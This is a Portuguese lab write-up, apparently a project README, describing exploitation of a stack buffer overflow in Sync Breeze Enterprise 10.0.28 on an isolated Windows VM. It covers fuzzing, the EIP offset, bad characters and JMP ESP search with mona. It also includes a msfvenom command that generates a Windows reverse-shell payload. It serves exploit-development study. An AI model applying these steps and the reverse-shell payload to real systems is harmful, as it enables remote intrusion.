
Estudo de uma vulnerabilidade clássica de estouro de buffer baseado em pilha em um ambiente de laboratório controlado para fins educacionais.
Estudo de uma vulnerabilidade clássica de buffer overflow baseado em pilha em um ambiente de laboratório controlado para fins educacionais.
O objetivo deste projeto foi entender melhor:
O primeiro passo consistiu em instalar
Sync Breeze Enterprise 10.0.28
dentro de uma máquina virtual Windows 10 configurada para fins de pesquisa
de vulnerabilidades e desenvolvimento de exploits.
O ambiente foi isolado para garantir testes seguros e controlados.
Ambas as máquinas virtuais (alvo e atacante) foram configuradas usando o modo Adaptador de Rede em Ponte (Bridged) para permitir comunicação de rede direta entre os sistemas durante o processo de exploração.


As ferramentas de depuração foram configuradas para analisar o comportamento do aplicativo durante a execução e observar as condições de crash.
Grandes sequências de bytes foram enviadas ao aplicativo para identificar o tamanho aproximado do buffer necessário para provocar um crash.
Após identificar o limite de crash, o aplicativo foi testado novamente usando o tamanho de payload descoberto para confirmar a vulnerabilidade.
O offset exato necessário para sobrescrever o Instruction Pointer (EIP) foi identificado.
Gere um padrão único:
/usr/bin/msf-pattern_create -l <SIZE>
Identifique o offset:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Onde:
<SIZE> = tamanho do payload descoberto durante o fuzzing<EIP_VALUE> = valor de 4 bytes observado sobrescrevendo o EIP
Os caracteres inválidos foram identificados para determinar quais bytes não poderiam ser processados com segurança pelo aplicativo.
Arquivo de Caracteres Inválidos
Uma instrução JMP ESP adequada foi localizada em um módulo sem ASLR
habilitado.
Enumerando os módulos carregados:
!mona modules
Procurando por JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
Foi dada preferência a DLLs específicas do aplicativo devido à presença de endereços de memória estáticos.

O fluxo de execução do payload foi validado para garantir o redirecionamento correto para o buffer controlado.
O shellcode foi gerado excluindo os caracteres inválidos previamente identificados.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Um NOP sled (\x90) foi adicionado antes do shellcode para melhorar
a confiabilidade da execução do payload.

O exploit final foi montado e testado com sucesso dentro do ambiente de laboratório isolado.
Este projeto foi desenvolvido estritamente para fins educacionais e de pesquisa dentro de um ambiente de laboratório isolado.